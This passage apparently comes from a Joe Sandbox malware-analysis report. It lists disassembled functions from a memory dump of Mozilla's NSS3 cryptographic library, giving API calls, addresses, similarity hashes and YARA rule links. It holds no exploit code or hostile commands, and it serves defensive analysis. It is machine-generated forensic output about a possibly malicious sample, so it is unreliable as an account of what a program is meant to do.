Part of subcall function 6CBF3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF3EC2
Part of subcall function 6CBF3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF3ED6
Part of subcall function 6CBF3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CBF3EEE
Part of subcall function 6CBF3E60: PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF3F02
Part of subcall function 6CBF3E60: PL_FreeArenaPool.NSS3 ref: 6CBF3F14
Part of subcall function 6CBF3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBF3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1BE52

Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CBF2CDA,?,00000000), ref: 6CBF2E1E
Part of subcall function 6CBF2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CBF2E33
Part of subcall function 6CBF2E00: TlsGetValue.KERNEL32 ref: 6CBF2E4E
Part of subcall function 6CBF2E00: EnterCriticalSection.KERNEL32(?), ref: 6CBF2E5E
Part of subcall function 6CBF2E00: PL_HashTableLookup.NSS3(?), ref: 6CBF2E71
Part of subcall function 6CBF2E00: PL_HashTableRemove.NSS3(?), ref: 6CBF2E84
Part of subcall function 6CBF2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CBF2E96
Part of subcall function 6CBF2E00: PR_Unlock.NSS3 ref: 6CBF2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC1BE61

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 0f03f5e05fa652de5334e8a057b30d41bde09b0c67ffcbb38ca41a3e7da071a9
Instruction ID: e4f6eceda7298f73bd003fd4f4c42104c4f0657e9d1e16b6e98b7af086a752c6
Opcode Fuzzy Hash: 0f03f5e05fa652de5334e8a057b30d41bde09b0c67ffcbb38ca41a3e7da071a9
Instruction Fuzzy Hash: AB41F3B5A04210AFDB10DF29DC80E6A77E4EF45718F108168F91897B51F731EC19CB92

Function 6CC06980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CC05DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC05DEC
Part of subcall function 6CC05DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC05E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC069BA

Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CBF9003,?), ref: 6CC4FD91
Part of subcall function 6CC4FD80: PORT_Alloc_Util.NSS3(A4686CC5,?), ref: 6CC4FDA2
Part of subcall function 6CC4FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC5,?,?), ref: 6CC4FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC06A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC06AE9

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: 10ad6358a15acf1f0ff00a950a86818e31c217ad274f86c141ab6b483f6667bf
Instruction ID: b036cea667ce3d0ad4a4fa4208a55ac92b2ae4afe1f63256f39b8cc4828f85be
Opcode Fuzzy Hash: 10ad6358a15acf1f0ff00a950a86818e31c217ad274f86c141ab6b483f6667bf
Instruction Fuzzy Hash: B4417171740A049BEB10DF28EC46B9777E9BF44354F188428E95EC7640FF32E95587A2

Function 6CC589A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6CC589DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC589EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC58A04

Part of subcall function 6CC5BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CC5800A,00000000,?,00000000,?), ref: 6CC5BC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6CC58A47
PK11_GetInternalKeySlot.NSS3 ref: 6CC58A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6CC58A96

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC58AD4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 8cd3946135702673ff61499d569ca33d9dc10f6d229646673ddb551c17f08df1
Instruction ID: 9dae723d9099aa463f0e94f9cb4d3304222c8ee5d7a92e09ec1387f82f0d4c1f
Opcode Fuzzy Hash: 8cd3946135702673ff61499d569ca33d9dc10f6d229646673ddb551c17f08df1
Instruction Fuzzy Hash: FA41D6B5A503007FE7009E55EC81FAB7668EB45718F444426FD1886B42FB32E97487E7

Function 6CC3AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC35

Part of subcall function 6CC1CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC1CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC3AB3E,?,?,?), ref: 6CC3AC55

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E,?,?), ref: 6CC3AC70

Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E33C
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E350
Part of subcall function 6CC1E300: PR_Unlock.NSS3(?), ref: 6CC1E5BC
Part of subcall function 6CC1E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC1E5CA
Part of subcall function 6CC1E300: TlsGetValue.KERNEL32 ref: 6CC1E5F2
Part of subcall function 6CC1E300: EnterCriticalSection.KERNEL32(?), ref: 6CC1E606
Part of subcall function 6CC1E300: PORT_Alloc_Util.NSS3(?), ref: 6CC1E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC3AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC3AB3E), ref: 6CC3ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC3AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC3AD2B

Part of subcall function 6CC1F360: TlsGetValue.KERNEL32(00000000,?,6CC3A904,?), ref: 6CC1F38B
Part of subcall function 6CC1F360: EnterCriticalSection.KERNEL32(?,?,?,6CC3A904,?), ref: 6CC1F3A0
Part of subcall function 6CC1F360: PR_Unlock.NSS3(?,?,?,?,6CC3A904,?), ref: 6CC1F3D3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction ID: 2ecd3b86ddb57dbba9838170e391e87861260dd4d00070d67e8a18a12122b9db
Opcode Fuzzy Hash: 0e515589b60b1ac671606b9b9c5803e93d5aea65c6625d489df415bb20d1dc7e
Instruction Fuzzy Hash: 55311BB1E005255FEF04DFA9AC405AF7776EFC4728B188128E81997B40FB31DD2687A1

Function 6CBF2920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF294E

Part of subcall function 6CC51820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CBF1D97,?,?), ref: 6CC51836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF2991

Part of subcall function 6CC51820: PR_SetError.NSS3(FFFFE005,00000000,?,6CBF1D97,?,?), ref: 6CC5184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CBF29AF
PR_Now.NSS3 ref: 6CBF2A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF2A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF2A79

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 3d52e725a2f444a04123bf6edacfbc91eb392ecb70ef9d9627a65101bf55c6cc
Instruction ID: 0595f0efe89648c377d50713ab9013940c66bf04468ed5f6574e669b1d1f9fd2
Opcode Fuzzy Hash: 3d52e725a2f444a04123bf6edacfbc91eb392ecb70ef9d9627a65101bf55c6cc
Instruction Fuzzy Hash: 3D41A271A083919FC710CE28C840A4FB3E5AFD8714F465A2DF8A993740E730E90E8B93

Function 6CC18C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC18C7C

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC18CB0
TlsGetValue.KERNEL32 ref: 6CC18CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC18CE5
PR_Unlock.NSS3(?), ref: 6CC18D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC18D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC18D93

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction ID: 81da5bd4fec89f99d9ecbda91d64ec8ac621e1f66a226949df58058b34c4715c
Opcode Fuzzy Hash: 118696b98285de8677d442f43fd8a4fb2f91970c0f74db7f1dbc8a80787f0372
Instruction Fuzzy Hash: C2312771E08702ABEB00AF6ADC40B9A7774BF55318F250136EA1967F90F770A924D7D1

Function 6CC4DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CC4D9E4,00000000), ref: 6CC4DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CC4D9E4,00000000), ref: 6CC4DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CC4D9E4,00000000), ref: 6CC4DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC4DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC4DCAD

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 694fdb6098c18365923b5917b8f0ba825f64b8fa61cb8a9c8366739d98c6b7db
Instruction ID: 5d0a0ce6c73fcfaf57fceec56d807b45bc402d6435a11fe45b6ca604fe9fc08e
Opcode Fuzzy Hash: 694fdb6098c18365923b5917b8f0ba825f64b8fa61cb8a9c8366739d98c6b7db
Instruction Fuzzy Hash: 20314AB5A002009FE750DF1DD884B96B7F8AF55358F14C429E948CBB41E7B1E954CBA1

Function 6CC12E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC0E728,?,00000038,?,?,00000000), ref: 6CC12E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC12E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC12E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC12E9E
PR_Unlock.NSS3(?), ref: 6CC12EAB
PR_Unlock.NSS3(?), ref: 6CC12F0D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction ID: ef271374ba5b39e160b799c6e158425f88c7ecb5415bc4a19c8d03561c03d0d4
Opcode Fuzzy Hash: ca2a9b885d0884ff2c937aedd7f0a221fae7c405ad5ffd2af574b0ec887093f7
Instruction Fuzzy Hash: C431F6BAA001059BEB006F69DC5487AB779FF46259B148164ED0887B11FB31DC64D7E1

Function 6CC5CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bd86a491dc786b62507a9a0d3fb0798cbd49e3ac8bb39135d3d080cb93b898d4
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: F411D2A1A002005BEB00AE6A6C41B6BB6EC9F5854DF804139EC09D7B41FB61D93986F6

Function 6CC08C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC08C1B
EnterCriticalSection.KERNEL32 ref: 6CC08C34
PL_ArenaAllocate.NSS3 ref: 6CC08C65
PR_Unlock.NSS3 ref: 6CC08C9C
PR_Unlock.NSS3 ref: 6CC08CB6

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Strings

KRAM, xrefs: 6CC08C8F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction ID: 6565b7e2f55b4509665cc44b641b1ea7b7308b7d469cb35491e4499c086386eb
Opcode Fuzzy Hash: f0914653e070237dfb6af2b92e0ab16c7078ac1dea6ee9ef49db1e5354a6fa47
Instruction Fuzzy Hash: B62171B1B056018FD700AF79C484959BBF4FF45308F05C96ED9888B711EB36D899CB92

Function 6CD02C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD02CA0
PR_ExitMonitor.NSS3 ref: 6CD02CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD02CD1
strdup.MOZGLUE(?), ref: 6CD02CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD02D27

Strings

Loaded library %s (static lib), xrefs: 6CD02D22

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
Instruction ID: cdc18524aa616e6bff37ae3f700e0d1d68d84c8ff1af4393924224118cc8c487
Opcode Fuzzy Hash: ce9757847f724daab51da3bb4a6c512263d2b01d85276c78dc53077cc10043f1
